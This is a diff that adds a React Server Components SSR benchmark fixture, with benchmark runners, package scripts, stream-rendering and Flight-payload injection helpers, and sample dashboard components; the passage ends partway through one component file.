||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzNodeAsync);
|
||||
|
||||
const fizzEdgeSync = await runConcurrent(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzEdgeSync);
|
||||
|
||||
const flightFizzEdgeSync = await runConcurrent(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzEdgeSync);
|
||||
|
||||
const fizzEdgeAsync = await runConcurrent(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(fizzEdgeAsync);
|
||||
|
||||
const flightFizzEdgeAsync = await runConcurrent(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
TOTAL,
|
||||
CONCURRENCY,
|
||||
CONC_WARMUP
|
||||
);
|
||||
printConcurrentResult(flightFizzEdgeAsync);
|
||||
|
||||
const rps = r => r.reqPerSec;
|
||||
|
||||
console.log('\n--- Flight overhead ---\n');
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', fizzNodeSync, flightFizzNodeSync],
|
||||
['Node async', fizzNodeAsync, flightFizzNodeAsync],
|
||||
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
|
||||
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
rps,
|
||||
'req/s',
|
||||
'higher is better'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node ---\n');
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', fizzNodeSync, fizzEdgeSync],
|
||||
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
|
||||
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
|
||||
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
rps,
|
||||
'req/s',
|
||||
'higher is better'
|
||||
);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// --- Benchmark ---
|
||||
console.log(
|
||||
'\n--- Benchmark (%d warmup, %d iterations, %d items) ---\n',
|
||||
WARMUP,
|
||||
ITERATIONS,
|
||||
ITEM_COUNT
|
||||
);
|
||||
|
||||
const fizzNodeSync = await runBenchmark(
|
||||
'Fizz (Node, sync)',
|
||||
() => renderFizzNode(App, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzNodeSync);
|
||||
|
||||
const flightFizzNodeSync = await runBenchmark(
|
||||
'Flight + Fizz (Node, sync)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzNodeSync);
|
||||
|
||||
const fizzNodeAsync = await runBenchmark(
|
||||
'Fizz (Node, async)',
|
||||
() => renderFizzNode(AppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzNodeAsync);
|
||||
|
||||
const flightFizzNodeAsync = await runBenchmark(
|
||||
'Flight + Fizz (Node, async)',
|
||||
() => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzNodeAsync);
|
||||
|
||||
const fizzEdgeSync = await runBenchmark(
|
||||
'Fizz (Edge, sync)',
|
||||
() => renderFizzEdge(App, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzEdgeSync);
|
||||
|
||||
const flightFizzEdgeSync = await runBenchmark(
|
||||
'Flight + Fizz (Edge, sync)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzEdgeSync);
|
||||
|
||||
const fizzEdgeAsync = await runBenchmark(
|
||||
'Fizz (Edge, async)',
|
||||
() => renderFizzEdge(AppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(fizzEdgeAsync);
|
||||
|
||||
const flightFizzEdgeAsync = await runBenchmark(
|
||||
'Flight + Fizz (Edge, async)',
|
||||
() => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
|
||||
ITERATIONS,
|
||||
WARMUP
|
||||
);
|
||||
printResult(flightFizzEdgeAsync);
|
||||
|
||||
const median = r => r.median;
|
||||
|
||||
console.log('\n--- Flight overhead ---\n');
|
||||
printGrid(
|
||||
['Fizz', 'Flight+Fizz'],
|
||||
[
|
||||
['Node sync', fizzNodeSync, flightFizzNodeSync],
|
||||
['Node async', fizzNodeAsync, flightFizzNodeAsync],
|
||||
['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
|
||||
['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
median,
|
||||
'ms',
|
||||
'median, lower is better'
|
||||
);
|
||||
|
||||
console.log('\n--- Edge vs Node ---\n');
|
||||
printGrid(
|
||||
['Node', 'Edge'],
|
||||
[
|
||||
['Fizz sync', fizzNodeSync, fizzEdgeSync],
|
||||
['Fizz async', fizzNodeAsync, fizzEdgeAsync],
|
||||
['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
|
||||
['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
|
||||
],
|
||||
median,
|
||||
'ms',
|
||||
'median, lower is better'
|
||||
);
|
||||
}
|
||||
|
||||
main().catch(function (err) {
|
||||
console.error(err);
|
||||
process.exit(1);
|
||||
});
|
||||
34
fixtures/flight-ssr-bench/package.json
Normal file
34
fixtures/flight-ssr-bench/package.json
Normal file
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"name": "flight-ssr-bench",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"devEngines": {
|
||||
"node": "20.x || 22.x"
|
||||
},
|
||||
"dependencies": {
|
||||
"@babel/core": "^7.16.0",
|
||||
"@babel/preset-react": "^7.22.5",
|
||||
"@babel/register": "^7.28.6",
|
||||
"babel-loader": "^8.2.3",
|
||||
"react": "experimental",
|
||||
"react-dom": "experimental",
|
||||
"react-server-dom-webpack": "experimental",
|
||||
"autocannon": "^8.0.0",
|
||||
"webpack": "^5.64.4"
|
||||
},
|
||||
"scripts": {
|
||||
"copy-modules": "cp -r ../../build/oss-experimental/* ./node_modules/",
|
||||
"prebench": "yarn copy-modules",
|
||||
"prebench:bare": "yarn copy-modules",
|
||||
"prebench:profile": "yarn copy-modules",
|
||||
"prebench:concurrent": "yarn copy-modules",
|
||||
"prebench:server": "yarn copy-modules",
|
||||
"prestart": "yarn copy-modules",
|
||||
"start": "NODE_ENV=production node bench-server.js",
|
||||
"bench": "NODE_ENV=production node --expose-gc bench.js",
|
||||
"bench:profile": "NODE_ENV=production node --expose-gc bench.js --profile",
|
||||
"bench:bare": "NODE_ENV=production node --expose-gc bench.js --no-injection",
|
||||
"bench:concurrent": "NODE_ENV=production node --expose-gc bench.js --concurrent",
|
||||
"bench:server": "NODE_ENV=production node bench-server.js --bench"
|
||||
}
|
||||
}
|
||||
54
fixtures/flight-ssr-bench/print-helpers.js
Normal file
54
fixtures/flight-ssr-bench/print-helpers.js
Normal file
@@ -0,0 +1,54 @@
|
||||
'use strict';
|
||||
|
||||
function printGrid(colHeaders, rows, getValue, unit, note) {
|
||||
const labelWidth = Math.max(
|
||||
...rows.map(function (r) {
|
||||
return r[0].length;
|
||||
})
|
||||
);
|
||||
const suffix = unit ? ' ' + unit : '';
|
||||
const fmtVal = function (v) {
|
||||
return (v.toFixed(1) + suffix).padStart(10 + suffix.length);
|
||||
};
|
||||
const fmtPct = function (v) {
|
||||
return ((v >= 0 ? '+' : '') + v.toFixed(1) + '%').padStart(8);
|
||||
};
|
||||
const fmtFactor = function (va, vb) {
|
||||
return ((vb / va).toFixed(2) + 'x').padStart(7);
|
||||
};
|
||||
const colWidth = 10 + suffix.length;
|
||||
|
||||
const header =
|
||||
''.padEnd(labelWidth) +
|
||||
' ' +
|
||||
colHeaders
|
||||
.map(function (h) {
|
||||
return h.padStart(colWidth);
|
||||
})
|
||||
.join(' ') +
|
||||
' Delta Factor';
|
||||
console.log(' ' + header);
|
||||
console.log(' ' + '-'.repeat(header.length));
|
||||
for (const [label, a, b] of rows) {
|
||||
const va = getValue(a);
|
||||
const vb = getValue(b);
|
||||
const pct = ((vb - va) / va) * 100;
|
||||
console.log(
|
||||
' ' +
|
||||
label.padEnd(labelWidth) +
|
||||
' ' +
|
||||
fmtVal(va) +
|
||||
' ' +
|
||||
fmtVal(vb) +
|
||||
' ' +
|
||||
fmtPct(pct) +
|
||||
' ' +
|
||||
fmtFactor(va, vb)
|
||||
);
|
||||
}
|
||||
if (note) {
|
||||
console.log(' (%s)', note);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {printGrid};
|
||||
329
fixtures/flight-ssr-bench/render-helpers.js
Normal file
329
fixtures/flight-ssr-bench/render-helpers.js
Normal file
@@ -0,0 +1,329 @@
|
||||
'use strict';
|
||||
|
||||
const {PassThrough, Transform} = require('stream');
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fizz (Node) — renders App directly via Node streams.
|
||||
// Returns a Node Readable stream of HTML.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFizzNode(AppComponent, itemCount) {
|
||||
const React = require('react');
|
||||
const {renderToPipeableStream} = require('react-dom/server');
|
||||
|
||||
const output = new PassThrough();
|
||||
const {pipe} = renderToPipeableStream(
|
||||
React.createElement(AppComponent, {itemCount}),
|
||||
{
|
||||
onShellReady() {
|
||||
pipe(output);
|
||||
},
|
||||
onError(e) {
|
||||
console.error('Fizz Node error:', e);
|
||||
output.destroy(e);
|
||||
},
|
||||
}
|
||||
);
|
||||
return output;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fizz (Edge) — renders App directly via web streams.
|
||||
// Returns a promise that resolves to a web ReadableStream of HTML.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFizzEdge(AppComponent, itemCount) {
|
||||
const React = require('react');
|
||||
const {renderToReadableStream} = require('react-dom/server');
|
||||
|
||||
return renderToReadableStream(React.createElement(AppComponent, {itemCount}));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Flight + Fizz (Node) — RSC render → tee → Fizz + script injection.
|
||||
// HTML chunks are buffered within a tick to avoid injecting scripts mid-tag.
|
||||
// Returns a Node Readable stream of HTML with injected Flight scripts.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFlightFizzNode(
|
||||
renderRSCNode,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
opts
|
||||
) {
|
||||
const inject = !opts || opts.inject !== false;
|
||||
const React = require('react');
|
||||
const {renderToPipeableStream} = require('react-dom/server');
|
||||
const {createFromNodeStream} = require('react-server-dom-webpack/client');
|
||||
|
||||
const {pipe: rscPipe} = renderRSCNode(
|
||||
clientManifest,
|
||||
AppComponent,
|
||||
itemCount
|
||||
);
|
||||
|
||||
let flightStream;
|
||||
let flightScripts = '';
|
||||
if (inject) {
|
||||
// Tee the Flight stream into SSR + script injection
|
||||
const trunk = new PassThrough();
|
||||
const forSsr = new PassThrough();
|
||||
const forInline = new PassThrough();
|
||||
trunk.pipe(forSsr);
|
||||
trunk.pipe(forInline);
|
||||
|
||||
forInline.on('data', function (chunk) {
|
||||
flightScripts +=
|
||||
'<script>(self.__FLIGHT_DATA||=[]).push(' +
|
||||
JSON.stringify(chunk.toString()) +
|
||||
')</script>';
|
||||
});
|
||||
|
||||
rscPipe(trunk);
|
||||
flightStream = forSsr;
|
||||
} else {
|
||||
flightStream = new PassThrough();
|
||||
rscPipe(flightStream);
|
||||
}
|
||||
|
||||
let cachedResult;
|
||||
function Root() {
|
||||
if (!cachedResult) {
|
||||
cachedResult = createFromNodeStream(flightStream, ssrManifest);
|
||||
}
|
||||
return React.use(cachedResult);
|
||||
}
|
||||
|
||||
const output = new PassThrough();
|
||||
|
||||
const {pipe} = renderToPipeableStream(React.createElement(Root), {
|
||||
onShellReady() {
|
||||
if (inject) {
|
||||
// Buffer HTML chunks within a tick to avoid injecting scripts mid-tag.
|
||||
const trailer = '</body></html>';
|
||||
let buffered = [];
|
||||
let timeout = null;
|
||||
const injector = new Transform({
|
||||
transform(chunk, _encoding, cb) {
|
||||
buffered.push(chunk);
|
||||
if (!timeout) {
|
||||
timeout = setTimeout(() => {
|
||||
for (const buf of buffered) {
|
||||
let str = buf.toString();
|
||||
if (str.endsWith(trailer)) {
|
||||
str = str.slice(0, -trailer.length);
|
||||
}
|
||||
this.push(str);
|
||||
}
|
||||
buffered.length = 0;
|
||||
timeout = null;
|
||||
if (flightScripts) {
|
||||
this.push(flightScripts);
|
||||
flightScripts = '';
|
||||
}
|
||||
}, 0);
|
||||
}
|
||||
cb();
|
||||
},
|
||||
flush(cb) {
|
||||
if (timeout) {
|
||||
clearTimeout(timeout);
|
||||
for (const buf of buffered) {
|
||||
let str = buf.toString();
|
||||
if (str.endsWith(trailer)) {
|
||||
str = str.slice(0, -trailer.length);
|
||||
}
|
||||
this.push(str);
|
||||
}
|
||||
buffered.length = 0;
|
||||
}
|
||||
if (flightScripts) {
|
||||
this.push(flightScripts);
|
||||
flightScripts = '';
|
||||
}
|
||||
this.push(trailer);
|
||||
cb();
|
||||
},
|
||||
});
|
||||
pipe(injector);
|
||||
injector.pipe(output);
|
||||
} else {
|
||||
pipe(output);
|
||||
}
|
||||
},
|
||||
onError(e) {
|
||||
console.error('Flight+Fizz Node error:', e);
|
||||
output.destroy(e);
|
||||
},
|
||||
});
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Flight + Fizz (Edge) — RSC render → tee → Fizz + script injection via web
|
||||
// streams. HTML chunks are buffered within a tick to avoid injecting scripts
|
||||
// mid-tag. The </body></html> trailer is stripped, Flight scripts injected,
|
||||
// and the trailer re-added at flush.
|
||||
// Returns a promise that resolves to a web ReadableStream.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function renderFlightFizzEdge(
|
||||
renderRSCEdge,
|
||||
AppComponent,
|
||||
itemCount,
|
||||
clientManifest,
|
||||
ssrManifest,
|
||||
opts
|
||||
) {
|
||||
const inject = !opts || opts.inject !== false;
|
||||
const React = require('react');
|
||||
const {renderToReadableStream} = require('react-dom/server');
|
||||
const {
|
||||
createFromReadableStream,
|
||||
} = require('react-server-dom-webpack/client.edge');
|
||||
|
||||
const webStream = renderRSCEdge(clientManifest, AppComponent, itemCount);
|
||||
|
||||
let forSsr;
|
||||
let injector;
|
||||
|
||||
if (inject) {
|
||||
const htmlTrailer = '</body></html>';
|
||||
const enc = new TextEncoder();
|
||||
|
||||
let forInline;
|
||||
[forSsr, forInline] = webStream.tee();
|
||||
|
||||
let resolveInline;
|
||||
const inlinePromise = new Promise(function (r) {
|
||||
resolveInline = r;
|
||||
});
|
||||
const htmlDecoder = new TextDecoder();
|
||||
let buffered = [];
|
||||
let timeout = null;
|
||||
|
||||
function flushBuffered(controller) {
|
||||
for (const chunk of buffered) {
|
||||
let buf = htmlDecoder.decode(chunk, {stream: true});
|
||||
if (buf.endsWith(htmlTrailer)) {
|
||||
buf = buf.slice(0, -htmlTrailer.length);
|
||||
}
|
||||
controller.enqueue(enc.encode(buf));
|
||||
}
|
||||
const remaining = htmlDecoder.decode();
|
||||
if (remaining.length) {
|
||||
let buf = remaining;
|
||||
if (buf.endsWith(htmlTrailer)) {
|
||||
buf = buf.slice(0, -htmlTrailer.length);
|
||||
}
|
||||
controller.enqueue(enc.encode(buf));
|
||||
}
|
||||
buffered.length = 0;
|
||||
timeout = null;
|
||||
}
|
||||
|
||||
function writeFlightChunk(data, controller) {
|
||||
controller.enqueue(
|
||||
enc.encode(
|
||||
'<script>(self.__FLIGHT_DATA||=[]).push(' +
|
||||
JSON.stringify(data) +
|
||||
')</script>'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
injector = new TransformStream({
|
||||
start(controller) {
|
||||
(async function () {
|
||||
const reader = forInline.getReader();
|
||||
const decoder = new TextDecoder('utf-8', {fatal: true});
|
||||
for (;;) {
|
||||
const {done, value} = await reader.read();
|
||||
if (done) break;
|
||||
writeFlightChunk(decoder.decode(value, {stream: true}), controller);
|
||||
}
|
||||
const remaining = decoder.decode();
|
||||
if (remaining.length) {
|
||||
writeFlightChunk(remaining, controller);
|
||||
}
|
||||
resolveInline();
|
||||
})();
|
||||
},
|
||||
transform(chunk, controller) {
|
||||
buffered.push(chunk);
|
||||
if (!timeout) {
|
||||
timeout = setTimeout(function () {
|
||||
flushBuffered(controller);
|
||||
}, 0);
|
||||
}
|
||||
},
|
||||
async flush(controller) {
|
||||
await inlinePromise;
|
||||
if (timeout) {
|
||||
clearTimeout(timeout);
|
||||
flushBuffered(controller);
|
||||
}
|
||||
controller.enqueue(enc.encode(htmlTrailer));
|
||||
},
|
||||
});
|
||||
} else {
|
||||
forSsr = webStream;
|
||||
}
|
||||
|
||||
const cachedResult = createFromReadableStream(forSsr, {
|
||||
serverConsumerManifest: ssrManifest,
|
||||
});
|
||||
function Root() {
|
||||
return React.use(cachedResult);
|
||||
}
|
||||
|
||||
return renderToReadableStream(React.createElement(Root)).then(
|
||||
function (htmlStream) {
|
||||
return injector ? htmlStream.pipeThrough(injector) : htmlStream;
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Utilities: collect streams into strings.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function nodeStreamToString(nodeStream) {
|
||||
return new Promise(function (resolve, reject) {
|
||||
const chunks = [];
|
||||
nodeStream.on('data', function (chunk) {
|
||||
chunks.push(chunk);
|
||||
});
|
||||
nodeStream.on('end', function () {
|
||||
resolve(Buffer.concat(chunks).toString('utf-8'));
|
||||
});
|
||||
nodeStream.on('error', reject);
|
||||
});
|
||||
}
|
||||
|
||||
function webStreamToString(webStream) {
|
||||
const reader = webStream.getReader();
|
||||
const chunks = [];
|
||||
function read() {
|
||||
return reader.read().then(function ({done, value}) {
|
||||
if (done) {
|
||||
return Buffer.concat(chunks).toString('utf-8');
|
||||
}
|
||||
chunks.push(Buffer.from(value));
|
||||
return read();
|
||||
});
|
||||
}
|
||||
return read();
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
renderFizzNode,
|
||||
renderFizzEdge,
|
||||
renderFlightFizzNode,
|
||||
renderFlightFizzEdge,
|
||||
nodeStreamToString,
|
||||
webStreamToString,
|
||||
};
|
||||
22
fixtures/flight-ssr-bench/rsc-client-ref-loader.js
Normal file
22
fixtures/flight-ssr-bench/rsc-client-ref-loader.js
Normal file
@@ -0,0 +1,22 @@
|
||||
'use strict';
|
||||
|
||||
const url = require('url');
|
||||
|
||||
// Webpack loader that runs in the RSC compilation.
|
||||
// When a module starts with 'use client', it replaces the entire source
|
||||
// with a client module proxy. This makes the RSC renderer serialize a
|
||||
// client reference into the Flight stream instead of rendering the component.
|
||||
module.exports = function rscClientRefLoader(source) {
|
||||
const trimmed = source.trimStart();
|
||||
if (
|
||||
trimmed.startsWith("'use client'") ||
|
||||
trimmed.startsWith('"use client"')
|
||||
) {
|
||||
const href = url.pathToFileURL(this.resourcePath).href;
|
||||
return [
|
||||
`const { createClientModuleProxy } = require('react-server-dom-webpack/server');`,
|
||||
`module.exports = createClientModuleProxy(${JSON.stringify(href)});`,
|
||||
].join('\n');
|
||||
}
|
||||
return source;
|
||||
};
|
||||
18
fixtures/flight-ssr-bench/src/App.js
Normal file
18
fixtures/flight-ssr-bench/src/App.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import Shell from './components/Shell';
|
||||
import Sidebar from './components/Sidebar';
|
||||
import Dashboard from './components/Dashboard';
|
||||
import Footer from './components/Footer';
|
||||
|
||||
export default function App({itemCount}) {
|
||||
return (
|
||||
<html>
|
||||
<body>
|
||||
<Shell>
|
||||
<Sidebar itemCount={itemCount} />
|
||||
<Dashboard itemCount={itemCount} />
|
||||
<Footer />
|
||||
</Shell>
|
||||
</body>
|
||||
</html>
|
||||
);
|
||||
}
|
||||
18
fixtures/flight-ssr-bench/src/AppAsync.js
Normal file
18
fixtures/flight-ssr-bench/src/AppAsync.js
Normal file
@@ -0,0 +1,18 @@
|
||||
import Shell from './components/Shell';
|
||||
import Sidebar from './components/Sidebar';
|
||||
import DashboardAsync from './components/DashboardAsync';
|
||||
import Footer from './components/Footer';
|
||||
|
||||
export default function AppAsync({itemCount}) {
|
||||
return (
|
||||
<html>
|
||||
<body>
|
||||
<Shell>
|
||||
<Sidebar itemCount={itemCount} />
|
||||
<DashboardAsync itemCount={itemCount} />
|
||||
<Footer />
|
||||
</Shell>
|
||||
</body>
|
||||
</html>
|
||||
);
|
||||
}
|
||||
21
fixtures/flight-ssr-bench/src/components/ActivityFeed.js
Normal file
21
fixtures/flight-ssr-bench/src/components/ActivityFeed.js
Normal file
@@ -0,0 +1,21 @@
|
||||
import ActivityItem from './ActivityItem';
|
||||
|
||||
export default function ActivityFeed({activities}) {
|
||||
return (
|
||||
<div className="activity-feed">
|
||||
<h3>Recent Activity</h3>
|
||||
<ul className="activity-list">
|
||||
{activities.map(activity => (
|
||||
<ActivityItem
|
||||
key={activity.id}
|
||||
type={activity.type}
|
||||
user={activity.user}
|
||||
message={activity.message}
|
||||
timestamp={activity.timestamp}
|
||||
details={activity.details}
|
||||
/>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
27
fixtures/flight-ssr-bench/src/components/ActivityItem.js
Normal file
27
fixtures/flight-ssr-bench/src/components/ActivityItem.js
Normal file
@@ -0,0 +1,27 @@
|
||||
'use client';
|
||||
|
||||
export default function ActivityItem({
|
||||
type,
|
||||
user,
|
||||
message,
|
||||
timestamp,
|
||||
details,
|
||||
}) {
|
||||
return (
|
||||
<li className={'activity-item activity-' + type}>
|
||||
<div className="activity-icon" data-type={type} />
|
||||
<div className="activity-content">
|
||||
<p className="activity-message">{message}</p>
|
||||
<div className="activity-meta">
|
||||
<span className="activity-user">{user}</span>
|
||||
<span className="activity-time">{timestamp}</span>
|
||||
{details && (
|
||||
<span className="activity-details">
|
||||
{details.amount} · {details.items} items
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
13
fixtures/flight-ssr-bench/src/components/Avatar.js
Normal file
13
fixtures/flight-ssr-bench/src/components/Avatar.js
Normal file
@@ -0,0 +1,13 @@
|
||||
'use client';
|
||||
|
||||
export default function Avatar({name, role, src}) {
|
||||
return (
|
||||
<div className="avatar-container">
|
||||
<img className="avatar-img" src={src} alt={name} width={32} height={32} />
|
||||
<div className="avatar-info">
|
||||
<span className="avatar-name">{name}</span>
|
||||
<span className="avatar-role">{role}</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
6
fixtures/flight-ssr-bench/src/components/Badge.js
Normal file
6
fixtures/flight-ssr-bench/src/components/Badge.js
Normal file
@@ -0,0 +1,6 @@
|
||||
'use client';
|
||||
|
||||
export default function Badge({count, variant}) {
|
||||
const className = 'badge' + (variant ? ' badge-' + variant : '');
|
||||
return <span className={className}>{count}</span>;
|
||||
}
|
||||
24
fixtures/flight-ssr-bench/src/components/ChartPanel.js
Normal file
24
fixtures/flight-ssr-bench/src/components/ChartPanel.js
Normal file
@@ -0,0 +1,24 @@
|
||||
'use client';
|
||||
|
||||
export default function ChartPanel({title, data, type}) {
|
||||
const maxVal = Math.max(...data.map(d => d.value));
|
||||
return (
|
||||
<div className="chart-panel">
|
||||
<h3 className="chart-title">{title}</h3>
|
||||
<div className={'chart chart-' + type}>
|
||||
{data.map(point => (
|
||||
<div key={point.month} className="chart-bar-group">
|
||||
<div
|
||||
className="chart-bar"
|
||||
style={{height: Math.round((point.value / maxVal) * 100) + '%'}}
|
||||
/>
|
||||
<span className="chart-label">{point.month}</span>
|
||||
<span className="chart-value">
|
||||
${(point.value / 1000).toFixed(0)}k
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
32
fixtures/flight-ssr-bench/src/components/Dashboard.js
Normal file
32
fixtures/flight-ssr-bench/src/components/Dashboard.js
Normal file
@@ -0,0 +1,32 @@
|
||||
import StatsGrid from './StatsGrid';
|
||||
import ProductTable from './ProductTable';
|
||||
import ActivityFeed from './ActivityFeed';
|
||||
import ChartPanel from './ChartPanel';
|
||||
import {generateProducts, generateActivities, generateStats} from './data';
|
||||
|
||||
export default function Dashboard({itemCount}) {
|
||||
const products = generateProducts(itemCount);
|
||||
const activities = generateActivities(Math.min(itemCount, 50));
|
||||
const stats = generateStats();
|
||||
|
||||
return (
|
||||
<main className="dashboard">
|
||||
<div className="dashboard-header">
|
||||
<h1>Dashboard Overview</h1>
|
||||
<p className="dashboard-subtitle">
|
||||
Welcome back. Here is what is happening with your store today.
|
||||
</p>
|
||||
</div>
|
||||
<StatsGrid stats={stats} />
|
||||
<div className="dashboard-grid">
|
||||
<div className="dashboard-main">
|
||||
<ProductTable products={products} />
|
||||
</div>
|
||||
<div className="dashboard-aside">
|
||||
<ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />
|
||||
<ActivityFeed activities={activities} />
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
);
|
||||
}
|
||||
144
fixtures/flight-ssr-bench/src/components/DashboardAsync.js
Normal file
144
fixtures/flight-ssr-bench/src/components/DashboardAsync.js
Normal file
@@ -0,0 +1,144 @@
|
||||
import {Suspense} from 'react';
|
||||
import StatsGrid from './StatsGrid';
|
||||
import TableRow from './TableRow';
|
||||
import TableHeader from './TableHeader';
|
||||
import Pagination from './Pagination';
|
||||
import ActivityItem from './ActivityItem';
|
||||
import ChartPanel from './ChartPanel';
|
||||
import Skeleton from './Skeleton';
|
||||
import {generateProducts, generateActivities, generateStats} from './data';
|
||||
|
||||
function fetchData(generator, ...args) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(generator(...args)), 1);
|
||||
});
|
||||
}
|
||||
|
||||
function fetchDelayed(value, delayMs) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(value), delayMs);
|
||||
});
|
||||
}
|
||||
|
||||
async function AsyncStatsSection() {
|
||||
const stats = await fetchData(generateStats);
|
||||
return <StatsGrid stats={stats} />;
|
||||
}
|
||||
|
||||
const productColumns = [
|
||||
{key: 'name', label: 'Product'},
|
||||
{key: 'sku', label: 'SKU'},
|
||||
{key: 'category', label: 'Category'},
|
||||
{key: 'price', label: 'Price'},
|
||||
{key: 'stock', label: 'Stock'},
|
||||
{key: 'status', label: 'Status'},
|
||||
{key: 'rating', label: 'Rating'},
|
||||
];
|
||||
|
||||
async function AsyncProductRow({product, delay}) {
|
||||
const resolved = await fetchDelayed(product, delay);
|
||||
return <TableRow product={resolved} columns={productColumns} />;
|
||||
}
|
||||
|
||||
async function AsyncProductSection({itemCount}) {
|
||||
const products = await fetchData(generateProducts, itemCount);
|
||||
return (
|
||||
<div className="product-table-container">
|
||||
<div className="table-toolbar">
|
||||
<h2>Products</h2>
|
||||
<span className="table-count">{products.length} items</span>
|
||||
</div>
|
||||
<table className="product-table">
|
||||
<thead>
|
||||
<tr>
|
||||
{productColumns.map(col => (
|
||||
<TableHeader key={col.key} column={col} />
|
||||
))}
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{products.map((product, i) => (
|
||||
<Suspense
|
||||
key={product.id}
|
||||
fallback={
|
||||
<tr>
|
||||
<td colSpan={7}>Loading...</td>
|
||||
</tr>
|
||||
}>
|
||||
<AsyncProductRow product={product} delay={1 + (i % 5)} />
|
||||
</Suspense>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
<Pagination total={products.length} pageSize={20} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
async function AsyncChartSection() {
|
||||
const stats = await fetchData(generateStats);
|
||||
return <ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />;
|
||||
}
|
||||
|
||||
async function AsyncActivityItem({activity, delay}) {
|
||||
const resolved = await fetchDelayed(activity, delay);
|
||||
return (
|
||||
<ActivityItem
|
||||
type={resolved.type}
|
||||
user={resolved.user}
|
||||
message={resolved.message}
|
||||
timestamp={resolved.timestamp}
|
||||
details={resolved.details}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
async function AsyncActivitySection({itemCount}) {
|
||||
const activities = await fetchData(
|
||||
generateActivities,
|
||||
Math.min(itemCount, 50)
|
||||
);
|
||||
return (
|
||||
<div className="activity-feed">
|
||||
<h3>Recent Activity</h3>
|
||||
<ul className="activity-list">
|
||||
